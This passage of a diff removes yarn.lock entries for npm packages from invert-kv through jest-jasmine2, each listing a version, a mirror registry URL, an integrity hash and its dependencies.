-  integrity sha1-YQ88ksk1nOHbYW5TgAjSP/NRWOY=
-  dependencies:
-    loose-envify "^1.0.0"
-
-invert-kv@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/invert-kv/download/invert-kv-2.0.0.tgz#7393f5afa59ec9ff5f67a27620d11c226e3eec02"
-  integrity sha1-c5P1r6Weyf9fZ6J2INEcIm4+7AI=
-
-ip-regex@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/ip-regex/download/ip-regex-2.1.0.tgz#fa78bf5d2e6913c911ce9f819ee5146bb6d844e9"
-  integrity sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=
-
-ip@^1.1.0, ip@^1.1.5:
-  version "1.1.5"
-  resolved "https://registry.nlark.com/ip/download/ip-1.1.5.tgz#bdded70114290828c0a039e72ef25f5aaec4354a"
-  integrity sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=
-
-ipaddr.js@1.9.1, ipaddr.js@^1.9.0:
-  version "1.9.1"
-  resolved "https://registry.npm.taobao.org/ipaddr.js/download/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
-  integrity sha1-v/OFQ+64mEglB5/zoqjmy9RngbM=
-
-is-absolute-url@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/is-absolute-url/download/is-absolute-url-2.1.0.tgz#50530dfb84fcc9aa7dbe7852e83a37b93b9f2aa6"
-  integrity sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=
-
-is-absolute-url@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.nlark.com/is-absolute-url/download/is-absolute-url-3.0.3.tgz#96c6a22b6a23929b11ea0afb1836c36ad4a5d698"
-  integrity sha1-lsaiK2ojkpsR6gr7GDbDatSl1pg=
-
-is-accessor-descriptor@^0.1.6:
-  version "0.1.6"
-  resolved "https://registry.nlark.com/is-accessor-descriptor/download/is-accessor-descriptor-0.1.6.tgz#a9e12cb3ae8d876727eeef3843f8a0897b5c98d6"
-  integrity sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-accessor-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz#169c2f6d3df1f992618072365c9b0ea1f6878656"
-  integrity sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=
-  dependencies:
-    kind-of "^6.0.0"
-
-is-arguments@^1.0.4:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/is-arguments/download/is-arguments-1.1.0.tgz#62353031dfbee07ceb34656a6bde59efecae8dd9"
-  integrity sha1-YjUwMd++4HzrNGVqa95Z7+yujdk=
-  dependencies:
-    call-bind "^1.0.0"
-
-is-arrayish@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.npm.taobao.org/is-arrayish/download/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
-  integrity sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=
-
-is-arrayish@^0.3.1:
-  version "0.3.2"
-  resolved "https://registry.npm.taobao.org/is-arrayish/download/is-arrayish-0.3.2.tgz#4574a2ae56f7ab206896fb431eaeed066fdf8f03"
-  integrity sha1-RXSirlb3qyBolvtDHq7tBm/fjwM=
-
-is-bigint@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/is-bigint/download/is-bigint-1.0.2.tgz#ffb381442503235ad245ea89e45b3dbff040ee5a"
-  integrity sha1-/7OBRCUDI1rSReqJ5Fs9v/BA7lo=
-
-is-binary-path@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/is-binary-path/download/is-binary-path-1.0.1.tgz#75f16642b480f187a711c814161fd3a4a7655898"
-  integrity sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=
-  dependencies:
-    binary-extensions "^1.0.0"
-
-is-binary-path@~2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/is-binary-path/download/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
-  integrity sha1-6h9/O4DwZCNug0cPhsCcJU+0Wwk=
-  dependencies:
-    binary-extensions "^2.0.0"
-
-is-boolean-object@^1.1.0:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/is-boolean-object/download/is-boolean-object-1.1.1.tgz#3c0878f035cb821228d350d2e1e36719716a3de8"
-  integrity sha1-PAh48DXLghIo01DS4eNnGXFqPeg=
-  dependencies:
-    call-bind "^1.0.2"
-
-is-buffer@^1.0.2, is-buffer@^1.1.5:
-  version "1.1.6"
-  resolved "https://registry.nlark.com/is-buffer/download/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
-  integrity sha1-76ouqdqg16suoTqXsritUf776L4=
-
-is-callable@^1.1.3, is-callable@^1.1.4, is-callable@^1.2.3:
-  version "1.2.3"
-  resolved "https://registry.nlark.com/is-callable/download/is-callable-1.2.3.tgz#8b1e0500b73a1d76c70487636f368e519de8db8e"
-  integrity sha1-ix4FALc6HXbHBIdjbzaOUZ3o244=
-
-is-ci@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/is-ci/download/is-ci-2.0.0.tgz?cache=0&sync_timestamp=1613632023079&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-ci%2Fdownload%2Fis-ci-2.0.0.tgz#6bc6334181810e04b5c22b3d589fdca55026404c"
-  integrity sha1-a8YzQYGBDgS1wis9WJ/cpVAmQEw=
-  dependencies:
-    ci-info "^2.0.0"
-
-is-color-stop@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/is-color-stop/download/is-color-stop-1.1.0.tgz#cfff471aee4dd5c9e158598fbe12967b5cdad345"
-  integrity sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=
-  dependencies:
-    css-color-names "^0.0.4"
-    hex-color-regex "^1.1.0"
-    hsl-regex "^1.0.0"
-    hsla-regex "^1.0.0"
-    rgb-regex "^1.0.1"
-    rgba-regex "^1.0.0"
-
-is-core-module@^2.2.0:
-  version "2.4.0"
-  resolved "https://registry.nlark.com/is-core-module/download/is-core-module-2.4.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-core-module%2Fdownload%2Fis-core-module-2.4.0.tgz#8e9fc8e15027b011418026e98f0e6f4d86305cc1"
-  integrity sha1-jp/I4VAnsBFBgCbpjw5vTYYwXME=
-  dependencies:
-    has "^1.0.3"
-
-is-data-descriptor@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.nlark.com/is-data-descriptor/download/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56"
-  integrity sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-data-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz#d84876321d0e7add03990406abbbbd36ba9268c7"
-  integrity sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=
-  dependencies:
-    kind-of "^6.0.0"
-
-is-date-object@^1.0.1:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/is-date-object/download/is-date-object-1.0.4.tgz#550cfcc03afada05eea3dd30981c7b09551f73e5"
-  integrity sha1-VQz8wDr62gXuo90wmBx7CVUfc+U=
-
-is-descriptor@^0.1.0:
-  version "0.1.6"
-  resolved "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-0.1.6.tgz#366d8240dde487ca51823b1ab9f07a10a78251ca"
-  integrity sha1-Nm2CQN3kh8pRgjsaufB6EKeCUco=
-  dependencies:
-    is-accessor-descriptor "^0.1.6"
-    is-data-descriptor "^0.1.4"
-    kind-of "^5.0.0"
-
-is-descriptor@^1.0.0, is-descriptor@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz#3b159746a66604b04f8c81524ba365c5f14d86ec"
-  integrity sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=
-  dependencies:
-    is-accessor-descriptor "^1.0.0"
-    is-data-descriptor "^1.0.0"
-    kind-of "^6.0.2"
-
-is-directory@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.npm.taobao.org/is-directory/download/is-directory-0.3.1.tgz#61339b6f2475fc772fd9c9d83f5c8575dc154ae1"
-  integrity sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=
-
-is-docker@^2.0.0:
-  version "2.2.1"
-  resolved "https://registry.nlark.com/is-docker/download/is-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa"
-  integrity sha1-M+6r4jz+hvFL3kQIoCwM+4U6zao=
-
-is-extendable@^0.1.0, is-extendable@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/is-extendable/download/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89"
-  integrity sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=
-
-is-extendable@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/is-extendable/download/is-extendable-1.0.1.tgz#a7470f9e426733d81bd81e1155264e3a3507cab4"
-  integrity sha1-p0cPnkJnM9gb2B4RVSZOOjUHyrQ=
-  dependencies:
-    is-plain-object "^2.0.4"
-
-is-extglob@^2.1.0, is-extglob@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/is-extglob/download/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
-  integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=
-
-is-fullwidth-code-point@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-1.0.0.tgz#ef9e31386f031a7f0d643af82fde50c457ef00cb"
-  integrity sha1-754xOG8DGn8NZDr4L95QxFfvAMs=
-  dependencies:
-    number-is-nan "^1.0.0"
-
-is-fullwidth-code-point@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
-  integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
-
-is-fullwidth-code-point@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
-  integrity sha1-8Rb4Bk/pCz94RKOJl8C3UFEmnx0=
-
-is-generator-fn@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/is-generator-fn/download/is-generator-fn-2.1.0.tgz#7d140adc389aaf3011a8f2a2a4cfa6faadffb118"
-  integrity sha1-fRQK3DiarzARqPKipM+m+q3/sRg=
-
-is-glob@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/is-glob/download/is-glob-3.1.0.tgz#7ba5ae24217804ac70707b96922567486cc3e84a"
-  integrity sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=
-  dependencies:
-    is-extglob "^2.1.0"
-
-is-glob@^4.0.0, is-glob@^4.0.1, is-glob@~4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/is-glob/download/is-glob-4.0.1.tgz#7567dbe9f2f5e2467bc77ab83c4a29482407a5dc"
-  integrity sha1-dWfb6fL14kZ7x3q4PEopSCQHpdw=
-  dependencies:
-    is-extglob "^2.1.1"
-
-is-negative-zero@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/is-negative-zero/download/is-negative-zero-2.0.1.tgz#3de746c18dda2319241a53675908d8f766f11c24"
-  integrity sha1-PedGwY3aIxkkGlNnWQjY92bxHCQ=
-
-is-number-object@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.nlark.com/is-number-object/download/is-number-object-1.0.5.tgz#6edfaeed7950cff19afedce9fbfca9ee6dd289eb"
-  integrity sha1-bt+u7XlQz/Ga/tzp+/yp7m3Sies=
-
-is-number@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz#24fd6201a4782cf50561c810276afc7d12d71195"
-  integrity sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-number@^7.0.0:
-  version "7.0.0"
-  resolved "https://registry.npm.taobao.org/is-number/download/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
-  integrity sha1-dTU0W4lnNNX4DE0GxQlVUnoU8Ss=
-
-is-obj@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/is-obj/download/is-obj-1.0.1.tgz#3e4729ac1f5fde025cd7d83a896dab9f4f67db0f"
-  integrity sha1-PkcprB9f3gJc19g6iW2rn09n2w8=
-
-is-obj@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/is-obj/download/is-obj-2.0.0.tgz#473fb05d973705e3fd9620545018ca8e22ef4982"
-  integrity sha1-Rz+wXZc3BeP9liBUUBjKjiLvSYI=
-
-is-path-cwd@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/is-path-cwd/download/is-path-cwd-2.2.0.tgz#67d43b82664a7b5191fd9119127eb300048a9fdb"
-  integrity sha1-Z9Q7gmZKe1GR/ZEZEn6zAASKn9s=
-
-is-path-in-cwd@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/is-path-in-cwd/download/is-path-in-cwd-2.1.0.tgz?cache=0&sync_timestamp=1620047110449&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-path-in-cwd%2Fdownload%2Fis-path-in-cwd-2.1.0.tgz#bfe2dca26c69f397265a4009963602935a053acb"
-  integrity sha1-v+Lcomxp85cmWkAJljYCk1oFOss=
-  dependencies:
-    is-path-inside "^2.1.0"
-
-is-path-inside@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/is-path-inside/download/is-path-inside-2.1.0.tgz?cache=0&sync_timestamp=1620046845369&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-path-inside%2Fdownload%2Fis-path-inside-2.1.0.tgz#7c9810587d659a40d27bcdb4d5616eab059494b2"
-  integrity sha1-fJgQWH1lmkDSe8201WFuqwWUlLI=
-  dependencies:
-    path-is-inside "^1.0.2"
-
-is-plain-obj@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/is-plain-obj/download/is-plain-obj-1.1.0.tgz?cache=0&sync_timestamp=1618600489644&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-plain-obj%2Fdownload%2Fis-plain-obj-1.1.0.tgz#71a50c8429dfca773c92a390a4a03b39fcd51d3e"
-  integrity sha1-caUMhCnfync8kqOQpKA7OfzVHT4=
-
-is-plain-object@^2.0.1, is-plain-object@^2.0.3, is-plain-object@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/is-plain-object/download/is-plain-object-2.0.4.tgz#2c163b3fafb1b606d9d17928f05c2a1c38e07677"
-  integrity sha1-LBY7P6+xtgbZ0Xko8FwqHDjgdnc=
-  dependencies:
-    isobject "^3.0.1"
-
-is-regex@^1.0.4, is-regex@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.nlark.com/is-regex/download/is-regex-1.1.3.tgz#d029f9aff6448b93ebbe3f33dac71511fdcbef9f"
-  integrity sha1-0Cn5r/ZEi5Prvj8z2scVEf3L758=
-  dependencies:
-    call-bind "^1.0.2"
-    has-symbols "^1.0.2"
-
-is-regexp@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/is-regexp/download/is-regexp-1.0.0.tgz?cache=0&sync_timestamp=1618847156637&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-regexp%2Fdownload%2Fis-regexp-1.0.0.tgz#fd2d883545c46bac5a633e7b9a09e87fa2cb5069"
-  integrity sha1-/S2INUXEa6xaYz57mgnof6LLUGk=
-
-is-resolvable@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/is-resolvable/download/is-resolvable-1.1.0.tgz#fb18f87ce1feb925169c9a407c19318a3206ed88"
-  integrity sha1-+xj4fOH+uSUWnJpAfBkxijIG7Yg=
-
-is-root@2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/is-root/download/is-root-2.1.0.tgz?cache=0&sync_timestamp=1617783295661&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-root%2Fdownload%2Fis-root-2.1.0.tgz#809e18129cf1129644302a4f8544035d51984a9c"
-  integrity sha1-gJ4YEpzxEpZEMCpPhUQDXVGYSpw=
-
-is-stream@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/is-stream/download/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44"
-  integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ=
-
-is-string@^1.0.5, is-string@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.nlark.com/is-string/download/is-string-1.0.6.tgz#3fe5d5992fb0d93404f32584d4b0179a71b54a5f"
-  integrity sha1-P+XVmS+w2TQE8yWE1LAXmnG1Sl8=
-
-is-symbol@^1.0.2, is-symbol@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/is-symbol/download/is-symbol-1.0.4.tgz?cache=0&sync_timestamp=1620501174327&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-symbol%2Fdownload%2Fis-symbol-1.0.4.tgz#a6dac93b635b063ca6872236de88910a57af139c"
-  integrity sha1-ptrJO2NbBjymhyI23oiRClevE5w=
-  dependencies:
-    has-symbols "^1.0.2"
-
-is-typedarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/is-typedarray/download/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
-  integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
-
-is-windows@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/is-windows/download/is-windows-1.0.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fis-windows%2Fdownload%2Fis-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
-  integrity sha1-0YUOuXkezRjmGCzhKjDzlmNLsZ0=
-
-is-wsl@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/is-wsl/download/is-wsl-1.1.0.tgz#1f16e4aa22b04d1336b66188a66af3c600c3a66d"
-  integrity sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=
-
-is-wsl@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/is-wsl/download/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
-  integrity sha1-dKTHbnfKn9P5MvKQwX6jJs0VcnE=
-  dependencies:
-    is-docker "^2.0.0"
-
-isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/isarray/download/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-  integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-isexe@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/isexe/download/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
-  integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=
-
-isobject@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/isobject/download/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
-  integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
-  dependencies:
-    isarray "1.0.0"
-
-isobject@^3.0.0, isobject@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/isobject/download/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
-  integrity sha1-TkMekrEalzFjaqH5yNHMvP2reN8=
-
-isstream@~0.1.2:
-  version "0.1.2"
-  resolved "https://registry.nlark.com/isstream/download/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a"
-  integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=
-
-istanbul-lib-coverage@^2.0.2, istanbul-lib-coverage@^2.0.5:
-  version "2.0.5"
-  resolved "https://registry.nlark.com/istanbul-lib-coverage/download/istanbul-lib-coverage-2.0.5.tgz#675f0ab69503fad4b1d849f736baaca803344f49"
-  integrity sha1-Z18KtpUD+tSx2En3NrqsqAM0T0k=
-
-istanbul-lib-instrument@^3.0.1, istanbul-lib-instrument@^3.3.0:
-  version "3.3.0"
-  resolved "https://registry.nlark.com/istanbul-lib-instrument/download/istanbul-lib-instrument-3.3.0.tgz#a5f63d91f0bbc0c3e479ef4c5de027335ec6d630"
-  integrity sha1-pfY9kfC7wMPkee9MXeAnM17G1jA=
-  dependencies:
-    "@babel/generator" "^7.4.0"
-    "@babel/parser" "^7.4.3"
-    "@babel/template" "^7.4.0"
-    "@babel/traverse" "^7.4.3"
-    "@babel/types" "^7.4.0"
-    istanbul-lib-coverage "^2.0.5"
-    semver "^6.0.0"
-
-istanbul-lib-report@^2.0.4:
-  version "2.0.8"
-  resolved "https://registry.nlark.com/istanbul-lib-report/download/istanbul-lib-report-2.0.8.tgz#5a8113cd746d43c4889eba36ab10e7d50c9b4f33"
-  integrity sha1-WoETzXRtQ8SInro2qxDn1QybTzM=
-  dependencies:
-    istanbul-lib-coverage "^2.0.5"
-    make-dir "^2.1.0"
-    supports-color "^6.1.0"
-
-istanbul-lib-source-maps@^3.0.1:
-  version "3.0.6"
-  resolved "https://registry.nlark.com/istanbul-lib-source-maps/download/istanbul-lib-source-maps-3.0.6.tgz#284997c48211752ec486253da97e3879defba8c8"
-  integrity sha1-KEmXxIIRdS7EhiU9qX44ed77qMg=
-  dependencies:
-    debug "^4.1.1"
-    istanbul-lib-coverage "^2.0.5"
-    make-dir "^2.1.0"
-    rimraf "^2.6.3"
-    source-map "^0.6.1"
-
-istanbul-reports@^2.2.6:
-  version "2.2.7"
-  resolved "https://registry.nlark.com/istanbul-reports/download/istanbul-reports-2.2.7.tgz#5d939f6237d7b48393cc0959eab40cd4fd056931"
-  integrity sha1-XZOfYjfXtIOTzAlZ6rQM1P0FaTE=
-  dependencies:
-    html-escaper "^2.0.0"
-
-jest-changed-files@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-changed-files/download/jest-changed-files-24.9.0.tgz#08d8c15eb79a7fa3fc98269bc14b451ee82f8039"
-  integrity sha1-CNjBXreaf6P8mCabwUtFHugvgDk=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    execa "^1.0.0"
-    throat "^4.0.0"
-
-jest-cli@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-cli/download/jest-cli-24.9.0.tgz?cache=0&sync_timestamp=1622708999962&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-cli%2Fdownload%2Fjest-cli-24.9.0.tgz#ad2de62d07472d419c6abc301fc432b98b10d2af"
-  integrity sha1-rS3mLQdHLUGcarwwH8QyuYsQ0q8=
-  dependencies:
-    "@jest/core" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    exit "^0.1.2"
-    import-local "^2.0.0"
-    is-ci "^2.0.0"
-    jest-config "^24.9.0"
-    jest-util "^24.9.0"
-    jest-validate "^24.9.0"
-    prompts "^2.0.1"
-    realpath-native "^1.1.0"
-    yargs "^13.3.0"
-
-jest-config@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-config/download/jest-config-24.9.0.tgz#fb1bbc60c73a46af03590719efa4825e6e4dd1b5"
-  integrity sha1-+xu8YMc6Rq8DWQcZ76SCXm5N0bU=
-  dependencies:
-    "@babel/core" "^7.1.0"
-    "@jest/test-sequencer" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    babel-jest "^24.9.0"
-    chalk "^2.0.1"
-    glob "^7.1.1"
-    jest-environment-jsdom "^24.9.0"
-    jest-environment-node "^24.9.0"
-    jest-get-type "^24.9.0"
-    jest-jasmine2 "^24.9.0"
-    jest-regex-util "^24.3.0"
-    jest-resolve "^24.9.0"
-    jest-util "^24.9.0"
-    jest-validate "^24.9.0"
-    micromatch "^3.1.10"
-    pretty-format "^24.9.0"
-    realpath-native "^1.1.0"
-
-jest-diff@^24.0.0, jest-diff@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-diff/download/jest-diff-24.9.0.tgz#931b7d0d5778a1baf7452cb816e325e3724055da"
-  integrity sha1-kxt9DVd4obr3RSy4FuMl43JAVdo=
-  dependencies:
-    chalk "^2.0.1"
-    diff-sequences "^24.9.0"
-    jest-get-type "^24.9.0"
-    pretty-format "^24.9.0"
-
-jest-docblock@^24.3.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-docblock/download/jest-docblock-24.9.0.tgz?cache=0&sync_timestamp=1621937262334&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-docblock%2Fdownload%2Fjest-docblock-24.9.0.tgz#7970201802ba560e1c4092cc25cbedf5af5a8ce2"
-  integrity sha1-eXAgGAK6Vg4cQJLMJcvt9a9ajOI=
-  dependencies:
-    detect-newline "^2.1.0"
-
-jest-each@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-each/download/jest-each-24.9.0.tgz?cache=0&sync_timestamp=1622290193873&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-each%2Fdownload%2Fjest-each-24.9.0.tgz#eb2da602e2a610898dbc5f1f6df3ba86b55f8b05"
-  integrity sha1-6y2mAuKmEImNvF8fbfO6hrVfiwU=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    jest-get-type "^24.9.0"
-    jest-util "^24.9.0"
-    pretty-format "^24.9.0"
-
-jest-environment-jsdom-fourteen@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/jest-environment-jsdom-fourteen/download/jest-environment-jsdom-fourteen-1.0.1.tgz#4cd0042f58b4ab666950d96532ecb2fc188f96fb"
-  integrity sha1-TNAEL1i0q2ZpUNllMuyy/BiPlvs=
-  dependencies:
-    "@jest/environment" "^24.3.0"
-    "@jest/fake-timers" "^24.3.0"
-    "@jest/types" "^24.3.0"
-    jest-mock "^24.0.0"
-    jest-util "^24.0.0"
-    jsdom "^14.1.0"
-
-jest-environment-jsdom@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-environment-jsdom/download/jest-environment-jsdom-24.9.0.tgz#4b0806c7fc94f95edb369a69cc2778eec2b7375b"
-  integrity sha1-SwgGx/yU+V7bNpppzCd47sK3N1s=
-  dependencies:
-    "@jest/environment" "^24.9.0"
-    "@jest/fake-timers" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    jest-mock "^24.9.0"
-    jest-util "^24.9.0"
-    jsdom "^11.5.1"
-
-jest-environment-node@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-environment-node/download/jest-environment-node-24.9.0.tgz#333d2d2796f9687f2aeebf0742b519f33c1cbfd3"
-  integrity sha1-Mz0tJ5b5aH8q7r8HQrUZ8zwcv9M=
-  dependencies:
-    "@jest/environment" "^24.9.0"
-    "@jest/fake-timers" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    jest-mock "^24.9.0"
-    jest-util "^24.9.0"
-
-jest-get-type@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-get-type/download/jest-get-type-24.9.0.tgz?cache=0&sync_timestamp=1621937252607&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-get-type%2Fdownload%2Fjest-get-type-24.9.0.tgz#1684a0c8a50f2e4901b6644ae861f579eed2ef0e"
-  integrity sha1-FoSgyKUPLkkBtmRK6GH1ee7S7w4=
-
-jest-haste-map@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-haste-map/download/jest-haste-map-24.9.0.tgz#b38a5d64274934e21fa417ae9a9fbeb77ceaac7d"
-  integrity sha1-s4pdZCdJNOIfpBeump++t3zqrH0=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    anymatch "^2.0.0"
-    fb-watchman "^2.0.0"
-    graceful-fs "^4.1.15"
-    invariant "^2.2.4"
-    jest-serializer "^24.9.0"
-    jest-util "^24.9.0"
-    jest-worker "^24.9.0"
-    micromatch "^3.1.10"
-    sane "^4.0.3"
-    walker "^1.0.7"
-  optionalDependencies:
-    fsevents "^1.2.7"
-
-jest-jasmine2@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-jasmine2/download/jest-jasmine2-24.9.0.tgz?cache=0&sync_timestamp=1622708984991&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-jasmine2%2Fdownload%2Fjest-jasmine2-24.9.0.tgz#1f7b1bd3242c1774e62acabb3646d96afc3be6a0"
-  integrity sha1-H3sb0yQsF3TmKsq7NkbZavw75qA=
-  dependencies:
-    "@babel/traverse" "^7.1.0"
-    "@jest/environment" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    co "^4.6.0"
-    expect "^24.9.0"
-    is-generator-fn "^2.0.0"
